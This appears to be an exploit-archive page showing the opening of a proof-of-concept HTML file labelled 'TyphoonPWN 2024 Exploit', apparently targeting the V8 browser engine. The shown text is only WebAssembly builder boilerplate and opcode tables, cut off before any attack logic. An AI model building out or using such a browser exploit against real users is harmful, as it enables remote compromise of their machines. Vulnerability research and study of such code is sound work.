4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.html HTML
<!-- exp.html -->
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>TyphoonPWN 2024 Exploit</title>
  </head>
  <body>
    <textarea
      id="log"
      rows="30"
      cols="120"
      style="
        font-family: Consolas, Monaco, Lucida Console, Liberation Mono,
          DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace;
      "
    ></textarea>
    <script>
      // Copyright 2016 the V8 project authors. All rights reserved.
      // Use of this source code is governed by a BSD-style license that can be
      // found in the LICENSE file.
      // Used for encoding f32 and double constants to bits.
      let byte_view = new Uint8Array(8);
      let data_view = new DataView(byte_view.buffer);
      // The bytes function receives one of
      //  - several arguments, each of which is either a number or a string of length
      //    1; if it's a string, the charcode of the contained character is used.
      //  - a single array argument containing the actual arguments
      //  - a single string; the returned buffer will contain the char codes of all
      //    contained characters.
      function bytes(...input) {
        if (input.length == 1 && typeof input[0] == "array") input = input[0];
        if (input.length == 1 && typeof input[0] == "string") {
          let len = input[0].length;
          let view = new Uint8Array(len);
          for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);
          return view.buffer;
        }
        let view = new Uint8Array(input.length);
        for (let i = 0; i < input.length; i++) {
          let val = input[i];
          if (typeof val == "string") {
            if (val.length != 1) {
              throw new Error("string inputs must have length 1");
            }
            val = val.charCodeAt(0);
          }
          view[i] = val | 0;
        }
        return view.buffer;
      }
      // Header declaration constants
      var kWasmH0 = 0;
      var kWasmH1 = 0x61;
      var kWasmH2 = 0x73;
      var kWasmH3 = 0x6d;
      var kWasmV0 = 0x1;
      var kWasmV1 = 0;
      var kWasmV2 = 0;
      var kWasmV3 = 0;
      var kHeaderSize = 8;
      var kPageSize = 65536;
      var kSpecMaxPages = 65536;
      var kMaxVarInt32Size = 5;
      var kMaxVarInt64Size = 10;
      let kDeclNoLocals = 0;
      // Section declaration constants
      let kUnknownSectionCode = 0;
      let kTypeSectionCode = 1; // Function signature declarations
      let kImportSectionCode = 2; // Import declarations
      let kFunctionSectionCode = 3; // Function declarations
      let kTableSectionCode = 4; // Indirect function table and other tables
      let kMemorySectionCode = 5; // Memory attributes
      let kGlobalSectionCode = 6; // Global declarations
      let kExportSectionCode = 7; // Exports
      let kStartSectionCode = 8; // Start function declaration
      let kElementSectionCode = 9; // Elements section
      let kCodeSectionCode = 10; // Function code
      let kDataSectionCode = 11; // Data segments
      let kDataCountSectionCode = 12; // Data segment count (between Element & Code)
      let kTagSectionCode = 13; // Tag section (between Memory & Global)
      let kStringRefSectionCode = 14; // Stringref literals section (between Tag & Global)
      let kLastKnownSectionCode = 14;
      // Name section types
      let kModuleNameCode = 0;
      let kFunctionNamesCode = 1;
      let kLocalNamesCode = 2;
      let kWasmFunctionTypeForm = 0x60;
      let kWasmStructTypeForm = 0x5f;
      let kWasmArrayTypeForm = 0x5e;
      let kWasmSubtypeForm = 0x50;
      let kWasmSubtypeFinalForm = 0x4f;
      let kWasmRecursiveTypeGroupForm = 0x4e;
      let kNoSuperType = 0xffffffff;
      let kLimitsNoMaximum = 0x00;
      let kLimitsWithMaximum = 0x01;
      let kLimitsSharedNoMaximum = 0x02;
      let kLimitsSharedWithMaximum = 0x03;
      let kLimitsMemory64NoMaximum = 0x04;
      let kLimitsMemory64WithMaximum = 0x05;
      let kLimitsMemory64SharedNoMaximum = 0x06;
      let kLimitsMemory64SharedWithMaximum = 0x07;
      // Segment flags
      let kActiveNoIndex = 0;
      let kPassive = 1;
      let kActiveWithIndex = 2;
      let kDeclarative = 3;
      let kPassiveWithElements = 5;
      let kDeclarativeWithElements = 7;
      // Function declaration flags
      let kDeclFunctionName = 0x01;
      let kDeclFunctionImport = 0x02;
      let kDeclFunctionLocals = 0x04;
      let kDeclFunctionExport = 0x08;
      // Value types and related
      let kWasmVoid = 0x40;
      let kWasmI32 = 0x7f;
      let kWasmI64 = 0x7e;
      let kWasmF32 = 0x7d;
      let kWasmF64 = 0x7c;
      let kWasmS128 = 0x7b;
      let kWasmI8 = 0x78;
      let kWasmI16 = 0x77;
      // These are defined as negative integers to distinguish them from positive type
      // indices.
      let kWasmNullFuncRef = -0x0d;
      let kWasmNullExternRef = -0x0e;
      let kWasmNullRef = -0x0f;
      let kWasmFuncRef = -0x10;
      let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec
      let kWasmExternRef = -0x11;
      let kWasmAnyRef = -0x12;
      let kWasmEqRef = -0x13;
      let kWasmI31Ref = -0x14;
      let kWasmStructRef = -0x15;
      let kWasmArrayRef = -0x16;
      let kWasmExnRef = -0x17;
      let kWasmStringRef = -0x19;
      let kWasmStringViewWtf8 = -0x1a;
      let kWasmStringViewWtf16 = -0x1e;
      let kWasmStringViewIter = -0x1f;
      // Use the positive-byte versions inside function bodies.
      let kLeb128Mask = 0x7f;
      let kFuncRefCode = kWasmFuncRef & kLeb128Mask;
      let kAnyFuncCode = kFuncRefCode; // Alias named as in the JS API spec
      let kExternRefCode = kWasmExternRef & kLeb128Mask;
      let kAnyRefCode = kWasmAnyRef & kLeb128Mask;
      let kEqRefCode = kWasmEqRef & kLeb128Mask;
      let kI31RefCode = kWasmI31Ref & kLeb128Mask;
      let kNullExternRefCode = kWasmNullExternRef & kLeb128Mask;
      let kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask;
      let kStructRefCode = kWasmStructRef & kLeb128Mask;
      let kArrayRefCode = kWasmArrayRef & kLeb128Mask;
      let kExnRefCode = kWasmExnRef & kLeb128Mask;
      let kNullRefCode = kWasmNullRef & kLeb128Mask;
      let kStringRefCode = kWasmStringRef & kLeb128Mask;
      let kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask;
      let kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask;
      let kStringViewIterCode = kWasmStringViewIter & kLeb128Mask;
      let kWasmRefNull = 0x63;
      let kWasmRef = 0x64;
      function wasmRefNullType(heap_type) {
        return { opcode: kWasmRefNull, heap_type: heap_type };
      }
      function wasmRefType(heap_type) {
        return { opcode: kWasmRef, heap_type: heap_type };
      }
      let kExternalFunction = 0;
      let kExternalTable = 1;
      let kExternalMemory = 2;
      let kExternalGlobal = 3;
      let kExternalTag = 4;
      let kTableZero = 0;
      let kMemoryZero = 0;
      let kSegmentZero = 0;
      let kExceptionAttribute = 0;
      // Useful signatures
      let kSig_i_i = makeSig([kWasmI32], [kWasmI32]);
      let kSig_l_l = makeSig([kWasmI64], [kWasmI64]);
      let kSig_i_l = makeSig([kWasmI64], [kWasmI32]);
      let kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]);
      let kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);
      let kSig_v_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], []);
      let kSig_l_i = makeSig([kWasmI32], [kWasmI64]);
      let kSig_f_ff = makeSig([kWasmF32, kWasmF32], [kWasmF32]);
      let kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]);
      let kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]);
      let kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]);
      let kSig_v_v = makeSig([], []);
      let kSig_i_v = makeSig([], [kWasmI32]);
      let kSig_l_v = makeSig([], [kWasmI64]);
      let kSig_f_v = makeSig([], [kWasmF32]);
      let kSig_d_v = makeSig([], [kWasmF64]);
      let kSig_v_i = makeSig([kWasmI32], []);
      let kSig_v_ii = makeSig([kWasmI32, kWasmI32], []);
      let kSig_v_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], []);
      let kSig_v_l = makeSig([kWasmI64], []);
      let kSig_v_li = makeSig([kWasmI64, kWasmI32], []);
      let kSig_v_lii = makeSig([kWasmI64, kWasmI32, kWasmI32], []);
      let kSig_v_d = makeSig([kWasmF64], []);
      let kSig_v_dd = makeSig([kWasmF64, kWasmF64], []);
      let kSig_v_ddi = makeSig([kWasmF64, kWasmF64, kWasmI32], []);
      let kSig_ii_v = makeSig([], [kWasmI32, kWasmI32]);
      let kSig_iii_v = makeSig([], [kWasmI32, kWasmI32, kWasmI32]);
      let kSig_ii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32]);
      let kSig_iii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32, kWasmI32]);
      let kSig_ii_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32, kWasmI32]);
      let kSig_iii_ii = makeSig(
        [kWasmI32, kWasmI32],
        [kWasmI32, kWasmI32, kWasmI32]
      );
      let kSig_v_f = makeSig([kWasmF32], []);
      let kSig_f_f = makeSig([kWasmF32], [kWasmF32]);
      let kSig_f_d = makeSig([kWasmF64], [kWasmF32]);
      let kSig_d_d = makeSig([kWasmF64], [kWasmF64]);
      let kSig_r_r = makeSig([kWasmExternRef], [kWasmExternRef]);
      let kSig_a_a = makeSig([kWasmAnyFunc], [kWasmAnyFunc]);
      let kSig_i_r = makeSig([kWasmExternRef], [kWasmI32]);
      let kSig_v_r = makeSig([kWasmExternRef], []);
      let kSig_v_a = makeSig([kWasmAnyFunc], []);
      let kSig_v_rr = makeSig([kWasmExternRef, kWasmExternRef], []);
      let kSig_v_aa = makeSig([kWasmAnyFunc, kWasmAnyFunc], []);
      let kSig_r_v = makeSig([], [kWasmExternRef]);
      let kSig_a_v = makeSig([], [kWasmAnyFunc]);
      let kSig_a_i = makeSig([kWasmI32], [kWasmAnyFunc]);
      let kSig_s_i = makeSig([kWasmI32], [kWasmS128]);
      let kSig_i_s = makeSig([kWasmS128], [kWasmI32]);
      function makeSig(params, results) {
        return { params: params, results: results };
      }
      function makeSig_v_x(x) {
        return makeSig([x], []);
      }
      function makeSig_x_v(x) {
        return makeSig([], [x]);
      }
      function makeSig_v_xx(x) {
        return makeSig([x, x], []);
      }
      function makeSig_r_v(r) {
        return makeSig([], [r]);
      }
      function makeSig_r_x(r, x) {
        return makeSig([x], [r]);
      }
      function makeSig_r_xx(r, x) {
        return makeSig([x, x], [r]);
      }
      // Opcodes
      const kWasmOpcodes = {
        Unreachable: 0x00,
        Nop: 0x01,
        Block: 0x02,
        Loop: 0x03,
        If: 0x04,
        Else: 0x05,
        Try: 0x06,
        TryTable: 0x1f,
        ThrowRef: 0x0a,
        Catch: 0x07,
        Throw: 0x08,
        Rethrow: 0x09,
        CatchAll: 0x19,
        End: 0x0b,
        Br: 0x0c,
        BrIf: 0x0d,
        BrTable: 0x0e,
        Return: 0x0f,
        CallFunction: 0x10,
        CallIndirect: 0x11,
        ReturnCall: 0x12,
        ReturnCallIndirect: 0x13,
        CallRef: 0x14,
        ReturnCallRef: 0x15,
        NopForTestingUnsupportedInLiftoff: 0x16,
        Delegate: 0x18,
        Drop: 0x1a,
        Select: 0x1b,
        SelectWithType: 0x1c,
        LocalGet: 0x20,
        LocalSet: 0x21,
        LocalTee: 0x22,
        GlobalGet: 0x23,
        GlobalSet: 0x24,
        TableGet: 0x25,
        TableSet: 0x26,
        I32LoadMem: 0x28,
        I64LoadMem: 0x29,
        F32LoadMem: 0x2a,
        F64LoadMem: 0x2b,
        I32LoadMem8S: 0x2c,
        I32LoadMem8U: 0x2d,
        I32LoadMem16S: 0x2e,
        I32LoadMem16U: 0x2f,
        I64LoadMem8S: 0x30,
        I64LoadMem8U: 0x31,
        I64LoadMem16S: 0x32,
        I64LoadMem16U: 0x33,
        I64LoadMem32S: 0x34,
        I64LoadMem32U: 0x35,
        I32StoreMem: 0x36,
        I64StoreMem: 0x37,
        F32StoreMem: 0x38,
        F64StoreMem: 0x39,
        I32StoreMem8: 0x3a,
        I32StoreMem16: 0x3b,
        I64StoreMem8: 0x3c,
        I64StoreMem16: 0x3d,
        I64StoreMem32: 0x3e,
        MemorySize: 0x3f,
        MemoryGrow: 0x40,
        I32Const: 0x41,
        I64Const: 0x42,
        F32Const: 0x43,
        F64Const: 0x44,
        I32Eqz: 0x45,
        I32Eq: 0x46,
        I32Ne: 0x47,
        I32LtS: 0x48,
        I32LtU: 0x49,
        I32GtS: 0x4a,
        I32GtU: 0x4b,
        I32LeS: 0x4c,
        I32LeU: 0x4d,
        I32GeS: 0x4e,
        I32GeU: 0x4f,
        I64Eqz: 0x50,
        I64Eq: 0x51,
        I64Ne: 0x52,
        I64LtS: 0x53,
        I64LtU: 0x54,
        I64GtS: 0x55,
        I64GtU: 0x56,
        I64LeS: 0x57,
        I64LeU: 0x58,
        I64GeS: 0x59,
        I64GeU: 0x5a,
        F32Eq: 0x5b,
        F32Ne: 0x5c,
        F32Lt: 0x5d,
        F32Gt: 0x5e,
        F32Le: 0x5f,
        F32Ge: 0x60,
        F64Eq: 0x61,
        F64Ne: 0x62,
        F64Lt: 0x63,
        F64Gt: 0x64,
        F64Le: 0x65,
        F64Ge: 0x66,
        I32Clz: 0x67,
        I32Ctz: 0x68,
        I32Popcnt: 0x69,
        I32Add: 0x6a,
        I32Sub: 0x6b,
        I32Mul: 0x6c,
        I32DivS: 0x6d,
        I32DivU: 0x6e,
        I32RemS: 0x6f,
        I32RemU: 0x70,
        I32And: 0x71,
        I32Ior: 0x72,
        I32Xor: 0x73,
        I32Shl: 0x74,
        I32ShrS: 0x75,
        I32ShrU: 0x76,
        I32Rol: 0x77,
        I32Ror: 0x78,
        I64Clz: 0x79,
        I64Ctz: 0x7a,
        I64Popcnt: 0x7b,
        I64Add: 0x7c,
        I64Sub: 0x7d,
        I64Mul: 0x7e,
        I64DivS: 0x7f,
        I64DivU: 0x80,
        I64RemS: 0x81,
        I64RemU: 0x82,
        I64And: 0x83,
        I64Ior: 0x84,
        I64Xor: 0x85,
        I64Shl: 0x86,
        I64ShrS: 0x87,
        I64ShrU: 0x88,
        I64Rol: 0x89,
        I64Ror: 0x8a,
        F32Abs: 0x8b,
        F32Neg: 0x8c,
        F32Ceil: 0x8d,
        F32Floor: 0x8e,
        F32Trunc: 0x8f,
        F32NearestInt: 0x90,
        F32Sqrt: 0x91,
        F32Add: 0x92,
        F32Sub: 0x93,
        F32Mul: 0x94,
        F32Div: 0x95,
        F32Min: 0x96,
        F32Max: 0x97,
        F32CopySign: 0x98,
        F64Abs: 0x99,
        F64Neg: 0x9a,
        F64Ceil: 0x9b,
        F64Floor: 0x9c,
        F64Trunc: 0x9d,
        F64NearestInt: 0x9e,
        F64Sqrt: 0x9f,
        F64Add: 0xa0,
        F64Sub: 0xa1,
        F64Mul: 0xa2,
        F64Div: 0xa3,
        F64Min: 0xa4,
        F64Max: 0xa5,
        F64CopySign: 0xa6,
        I32ConvertI64: 0xa7,
        I32SConvertF32: 0xa8,
        I32UConvertF32: 0xa9,
        I32SConvertF64: 0xaa,
        I32UConvertF64: 0xab,
        I64SConvertI32: 0xac,
        I64UConvertI32: 0xad,
        I64SConvertF32: 0xae,
        I64UConvertF32: 0xaf,
        I64SConvertF64: 0xb0,
        I64UConvertF64: 0xb1,
        F32SConvertI32: 0xb2,
        F32UConvertI32: 0xb3,
        F32SConvertI64: 0xb4,
        F32UConvertI64: 0xb5,
        F32ConvertF64: 0xb6,
        F64SConvertI32: 0xb7,
        F64UConvertI32: 0xb8,
        F64SConvertI64: 0xb9,
        F64UConvertI64: 0xba,
        F64ConvertF32: 0xbb,
        I32ReinterpretF32: 0xbc,
        I64ReinterpretF64: 0xbd,
        F32ReinterpretI32: 0xbe,
        F64ReinterpretI64: 0xbf,
        I32SExtendI8: 0xc0,
        I32SExtendI16: 0xc1,
        I64SExtendI8: 0xc2,
        I64SExtendI16: 0xc3,
        I64SExtendI32: 0xc4,
        RefNull: 0xd0,
        RefIsNull: 0xd1,
        RefFunc: 0xd2,
        RefEq: 0xd3,
        RefAsNonNull: 0xd4,
        BrOnNull: 0xd5,
        BrOnNonNull: 0xd6,
      };
      function defineWasmOpcode(name, value) {
        if (globalThis.kWasmOpcodeNames === undefined) {
          globalThis.kWasmOpcodeNames = {};
        }
        Object.defineProperty(globalThis, name, { value: value });
        if (globalThis.kWasmOpcodeNames[value] !== undefined) {
          throw new Error(
            `Duplicate wasm opcode: ${value}. Previous name: ${globalThis.kWasmOpcodeNames[value]}, new name: ${name}`
          );
        }
        globalThis.kWasmOpcodeNames[value] = name;
      }
      for (let name in kWasmOpcodes) {
        defineWasmOpcode(`kExpr${name}`, kWasmOpcodes[name]);
      }
      // Prefix opcodes
      const kPrefixOpcodes = {
        GC: 0xfb,
        Numeric: 0xfc,
        Simd: 0xfd,
        Atomic: 0xfe,
      };
      for (let prefix in kPrefixOpcodes) {
        defineWasmOpcode(`k${prefix}Prefix`, kPrefixOpcodes[prefix]);
      }
      // Use these for multi-byte instructions (opcode > 0x7F needing two LEB bytes):
      function SimdInstr(opcode) {
        if (opcode <= 0x7f) return [kSimdPrefix, opcode];
        return [kSimdPrefix, 0x80 | (opcode & 0x7f), opcode >> 7];
      }
      function GCInstr(opcode) {
        if (opcode <= 0x7f) return [kGCPrefix, opcode];
        return [kGCPrefix, 0x80 | (opcode & 0x7f), opcode >> 7];
      }
      // GC opcodes
      let kExprStructNew = 0x00;
      let kExprStructNewDefault = 0x01;
      let kExprStructGet = 0x02;
      let kExprStructGetS = 0x03;
      let kExprStructGetU = 0x04;
      let kExprStructSet = 0x05;
      let kExprArrayNew = 0x06;
      let kExprArrayNewDefault = 0x07;
      let kExprArrayNewFixed = 0x08;
      let kExprArrayNewData = 0x09;
      let kExprArrayNewElem = 0x0a;
      let kExprArrayGet = 0x0b;
      let kExprArrayGetS = 0x0c;
      let kExprArrayGetU = 0x0d;
      let kExprArraySet = 0x0e;
      let kExprArrayLen = 0x0f;
      let kExprArrayFill = 0x10;
      let kExprArrayCopy = 0x11;
      let kExprArrayInitData = 0x12;
      let kExprArrayInitElem = 0x13;
      let kExprRefTest = 0x14;
      let kExprRefTestNull = 0x15;
      let kExprRefCast = 0x16;
      let kExprRefCastNull = 0x17;
      let kExprBrOnCastGeneric = 0x18; // TODO(14034): Drop "Generic" name.
      let kExprBrOnCastFailGeneric = 0x19; // TODO(14034): Drop "Generic" name.
      let kExprAnyConvertExtern = 0x1a;
      let kExprExternConvertAny = 0x1b;
      let kExprRefI31 = 0x1c;
      let kExprI31GetS = 0x1d;
      let kExprI31GetU = 0x1e;
      let kExprRefCastNop = 0x4c;
      // Stringref proposal.
      let kExprStringNewUtf8 = 0x80;
      let kExprStringNewWtf16 = 0x81;
      let kExprStringConst = 0x82;
      let kExprStringMeasureUtf8 = 0x83;
      let kExprStringMeasureWtf8 = 0x84;
      let kExprStringMeasureWtf16 = 0x85;
      let kExprStringEncodeUtf8 = 0x86;
      let kExprStringEncodeWtf16 = 0x87;
      let kExprStringConcat = 0x88;
      let kExprStringEq = 0x89;
      let kExprStringIsUsvSequence = 0x8a;
      let kExprStringNewLossyUtf8 = 0x8b;
      let kExprStringNewWtf8 = 0x8c;
      let kExprStringEncodeLossyUtf8 = 0x8d;
      let kExprStringEncodeWtf8 = 0x8e;
      let kExprStringNewUtf8Try = 0x8f;
      let kExprStringAsWtf8 = 0x90;
      let kExprStringViewWtf8Advance = 0x91;
      let kExprStringViewWtf8EncodeUtf8 = 0x92;
      let kExprStringViewWtf8Slice = 0x93;
      let kExprStringViewWtf8EncodeLossyUtf8 = 0x94;
      let kExprStringViewWtf8EncodeWtf8 = 0x95;
      let kExprStringAsWtf16 = 0x98;
      let kExprStringViewWtf16Length = 0x99;
      let kExprStringViewWtf16GetCodeunit = 0x9a;
      let kExprStringViewWtf16Encode = 0x9b;
      let kExprStringViewWtf16Slice = 0x9c;
      let kExprStringAsIter = 0xa0;
      let kExprStringViewIterNext = 0xa1;
      let kExprStringViewIterAdvance = 0xa2;
      let kExprStringViewIterRewind = 0xa3;
      let kExprStringViewIterSlice = 0xa4;
      let kExprStringCompare = 0xa8;
      let kExprStringFromCodePoint = 0xa9;
      let kExprStringHash = 0xaa;
      let kExprStringNewUtf8Array = 0xb0;
      let kExprStringNewWtf16Array = 0xb1;
      let kExprStringEncodeUtf8Array = 0xb2;
      let kExprStringEncodeWtf16Array = 0xb3;
      let kExprStringNewLossyUtf8Array = 0xb4;
      let kExprStringNewWtf8Array = 0xb5;
      let kExprStringEncodeLossyUtf8Array = 0xb6;
      let kExprStringEncodeWtf8Array = 0xb7;
      let kExprStringNewUtf8ArrayTry = 0xb8;
      // Numeric opcodes.
      let kExprI32SConvertSatF32 = 0x00;
      let kExprI32UConvertSatF32 = 0x01;
      let kExprI32SConvertSatF64 = 0x02;
      let kExprI32UConvertSatF64 = 0x03;
      let kExprI64SConvertSatF32 = 0x04;
      let kExprI64UConvertSatF32 = 0x05;
      let kExprI64SConvertSatF64 = 0x06;
      let kExprI64UConvertSatF64 = 0x07;
      let kExprMemoryInit = 0x08;
      let kExprDataDrop = 0x09;
      let kExprMemoryCopy = 0x0a;
      let kExprMemoryFill = 0x0b;
      let kExprTableInit = 0x0c;
      let kExprElemDrop = 0x0d;
      let kExprTableCopy = 0x0e;
      let kExprTableGrow = 0x0f;
      let kExprTableSize = 0x10;
      let kExprTableFill = 0x11;
      // Atomic opcodes.
      let kExprAtomicNotify = 0x00;
      let kExprI32AtomicWait = 0x01;
      let kExprI64AtomicWait = 0x02;
      let kExprI32AtomicLoad = 0x10;
      let kExprI32AtomicLoad8U = 0x12;
      let kExprI32AtomicLoad16U = 0x13;
      let kExprI32AtomicStore = 0x17;
      let kExprI32AtomicStore8U = 0x19;
      let kExprI32AtomicStore16U = 0x1a;
      let kExprI32AtomicAdd = 0x1e;
      let kExprI32AtomicAdd8U = 0x20;
      let kExprI32AtomicAdd16U = 0x21;
      let kExprI32AtomicSub = 0x25;
      let kExprI32AtomicSub8U = 0x27;
      let kExprI32AtomicSub16U = 0x28;
      let kExprI32AtomicAnd = 0x2c;
      let kExprI32AtomicAnd8U = 0x2e;
      let kExprI32AtomicAnd16U = 0x2f;
      let kExprI32AtomicOr = 0x33;
      let kExprI32AtomicOr8U = 0x35;
      let kExprI32AtomicOr16U = 0x36;
      let kExprI32AtomicXor = 0x3a;
      let kExprI32AtomicXor8U = 0x3c;
      let kExprI32AtomicXor16U = 0x3d;
      let kExprI32AtomicExchange = 0x41;
      let kExprI32AtomicExchange8U = 0x43;
      let kExprI32AtomicExchange16U = 0x44;
      let kExprI32AtomicCompareExchange = 0x48;
      let kExprI32AtomicCompareExchange8U = 0x4a;
      let kExprI32AtomicCompareExchange16U = 0x4b;
      let kExprI64AtomicLoad = 0x11;
      let kExprI64AtomicLoad8U = 0x14;
      let kExprI64AtomicLoad16U = 0x15;
      let kExprI64AtomicLoad32U = 0x16;
      let kExprI64AtomicStore = 0x18;
      let kExprI64AtomicStore8U = 0x1b;
      let kExprI64AtomicStore16U = 0x1c;
      let kExprI64AtomicStore32U = 0x1d;
      let kExprI64AtomicAdd = 0x1f;
      let kExprI64AtomicAdd8U = 0x22;
      let kExprI64AtomicAdd16U = 0x23;
      let kExprI64AtomicAdd32U = 0x24;
      let kExprI64AtomicSub = 0x26;
      let kExprI64AtomicSub8U = 0x29;
      let kExprI64AtomicSub16U = 0x2a;
      let kExprI64AtomicSub32U = 0x2b;
      let kExprI64AtomicAnd = 0x2d;
      let kExprI64AtomicAnd8U = 0x30;
      let kExprI64AtomicAnd16U = 0x31;
      let kExprI64AtomicAnd32U = 0x32;
      let kExprI64AtomicOr = 0x34;
      let kExprI64AtomicOr8U = 0x37;
      let kExprI64AtomicOr16U = 0x38;
      let kExprI64AtomicOr32U = 0x39;
      let kExprI64AtomicXor = 0x3b;
      let kExprI64AtomicXor8U = 0x3e;
      let kExprI64AtomicXor16U = 0x3f;
      let kExprI64AtomicXor32U = 0x40;
      let kExprI64AtomicExchange = 0x42;
      let kExprI64AtomicExchange8U = 0x45;
      let kExprI64AtomicExchange16U = 0x46;
      let kExprI64AtomicExchange32U = 0x47;
      let kExprI64AtomicCompareExchange = 0x49;
      let kExprI64AtomicCompareExchange8U = 0x4c;
      let kExprI64AtomicCompareExchange16U = 0x4d;
      let kExprI64AtomicCompareExchange32U = 0x4e;
      // Simd opcodes.
      let kExprS128LoadMem = 0x00;
      let kExprS128Load8x8S = 0x01;
      let kExprS128Load8x8U = 0x02;
      let kExprS128Load16x4S = 0x03;
      let kExprS128Load16x4U = 0x04;
      let kExprS128Load32x2S = 0x05;
      let kExprS128Load32x2U = 0x06;
      let kExprS128Load8Splat = 0x07;
      let kExprS128Load16Splat = 0x08;
      let kExprS128Load32Splat = 0x09;
      let kExprS128Load64Splat = 0x0a;
      let kExprS128StoreMem = 0x0b;
      let kExprS128Const = 0x0c;
      let kExprI8x16Shuffle = 0x0d;
      let kExprI8x16Swizzle = 0x0e;
      let kExprI8x16Splat = 0x0f;
      let kExprI16x8Splat = 0x10;
      let kExprI32x4Splat = 0x11;
      let kExprI64x2Splat = 0x12;
      let kExprF32x4Splat = 0x13;
      let kExprF64x2Splat = 0x14;
      let kExprI8x16ExtractLaneS = 0x15;
      let kExprI8x16ExtractLaneU = 0x16;
      let kExprI8x16ReplaceLane = 0x17;
      let kExprI16x8ExtractLaneS = 0x18;
      let kExprI16x8ExtractLaneU = 0x19;
      let kExprI16x8ReplaceLane = 0x1a;
      let kExprI32x4ExtractLane = 0x1b;
      let kExprI32x4ReplaceLane = 0x1c;
      let kExprI64x2ExtractLane = 0x1d;
      let kExprI64x2ReplaceLane = 0x1e;
      let kExprF32x4ExtractLane = 0x1f;
      let kExprF32x4ReplaceLane = 0x20;
      let kExprF64x2ExtractLane = 0x21;
      let kExprF64x2ReplaceLane = 0x22;
      let kExprI8x16Eq = 0x23;
      let kExprI8x16Ne = 0x24;
      let kExprI8x16LtS = 0x25;
      let kExprI8x16LtU = 0x26;
      let kExprI8x16GtS = 0x27;
      let kExprI8x16GtU = 0x28;
      let kExprI8x16LeS = 0x29;
      let kExprI8x16LeU = 0x2a;
      let kExprI8x16GeS = 0x2b;
      let kExprI8x16GeU = 0x2c;
      let kExprI16x8Eq = 0x2d;
      let kExprI16x8Ne = 0x2e;
      let kExprI16x8LtS = 0x2f;
      let kExprI16x8LtU = 0x30;
      let kExprI16x8GtS = 0x31;
      let kExprI16x8GtU = 0x32;
      let kExprI16x8LeS = 0x33;
      let kExprI16x8LeU = 0x34;
      let kExprI16x8GeS = 0x35;
      let kExprI16x8GeU = 0x36;
      let kExprI32x4Eq = 0x37;
      let kExprI32x4Ne = 0x38;
      let kExprI32x4LtS = 0x39;
      let kExprI32x4LtU = 0x3a;
      let kExprI32x4GtS = 0x3b;
      let kExprI32x4GtU = 0x3c;
      let kExprI32x4LeS = 0x3d;
      let kExprI32x4LeU = 0x3e;
      let kExprI32x4GeS = 0x3f;
      let kExprI32x4GeU = 0x40;
      let kExprF32x4Eq = 0x41;
      let kExprF32x4Ne = 0x42;
      let kExprF32x4Lt = 0x43;
      let kExprF32x4Gt = 0x44;
      let kExprF32x4Le = 0x45;
      let kExprF32x4Ge = 0x46;
      let kExprF64x2Eq = 0x47;
      let kExprF64x2Ne = 0x48;
      let kExprF64x2Lt = 0x49;
      let kExprF64x2Gt = 0x4a;
      let kExprF64x2Le = 0x4b;
      let kExprF64x2Ge = 0x4c;
      let kExprS128Not = 0x4d;
      let kExprS128And = 0x4e;
      let kExprS128AndNot = 0x4f;
      let kExprS128Or = 0x50;
      let kExprS128Xor = 0x51;
      let kExprS128Select = 0x52;
      let kExprV128AnyTrue = 0x53;
      let kExprS128Load8Lane = 0x54;
      let kExprS128Load16Lane = 0x55;
      let kExprS128Load32Lane = 0x56;
      let kExprS128Load64Lane = 0x57;
      let kExprS128Store8Lane = 0x58;
      let kExprS128Store16Lane = 0x59;
      let kExprS128Store32Lane = 0x5a;
      let kExprS128Store64Lane = 0x5b;
      let kExprS128Load32Zero = 0x5c;
      let kExprS128Load64Zero = 0x5d;
      let kExprF32x4DemoteF64x2Zero = 0x5e;
      let kExprF64x2PromoteLowF32x4 = 0x5f;
      let kExprI8x16Abs = 0x60;
      let kExprI8x16Neg = 0x61;
      let kExprI8x16Popcnt = 0x62;
      let kExprI8x16AllTrue = 0x63;
      let kExprI8x16BitMask = 0x64;
      let kExprI8x16SConvertI16x8 = 0x65;
      let kExprI8x16UConvertI16x8 = 0x66;
      let kExprF32x4Ceil = 0x67;
      let kExprF32x4Floor = 0x68;
      let kExprF32x4Trunc = 0x69;
      let kExprF32x4NearestInt = 0x6a;
      let kExprI8x16Shl = 0x6b;
      let kExprI8x16ShrS = 0x6c;
      let kExprI8x16ShrU = 0x6d;
      let kExprI8x16Add = 0x6e;
      let kExprI8x16AddSatS = 0x6f;
      let kExprI8x16AddSatU = 0x70;
      let kExprI8x16Sub = 0x71;
      let kExprI8x16SubSatS = 0x72;
      let kExprI8x16SubSatU = 0x73;
      let kExprF64x2Ceil = 0x74;
      let kExprF64x2Floor = 0x75;
      let kExprI8x16MinS = 0x76;
      let kExprI8x16MinU = 0x77;
      let kExprI8x16MaxS = 0x78;
      let kExprI8x16MaxU = 0x79;
      let kExprF64x2Trunc = 0x7a;
      let kExprI8x16RoundingAverageU = 0x7b;
      let kExprI16x8ExtAddPairwiseI8x16S = 0x7c;
      let kExprI16x8ExtAddPairwiseI8x16U = 0x7d;
      let kExprI32x4ExtAddPairwiseI16x8S = 0x7e;
      let kExprI32x4ExtAddPairwiseI16x8U = 0x7f;
      let kExprI16x8Abs = 0x80;
      let kExprI16x8Neg = 0x81;
      let kExprI16x8Q15MulRSatS = 0x82;
      let kExprI16x8AllTrue = 0x83;
      let kExprI16x8BitMask = 0x84;
      let kExprI16x8SConvertI32x4 = 0x85;
      let kExprI16x8UConvertI32x4 = 0x86;
      let kExprI16x8SConvertI8x16Low = 0x87;
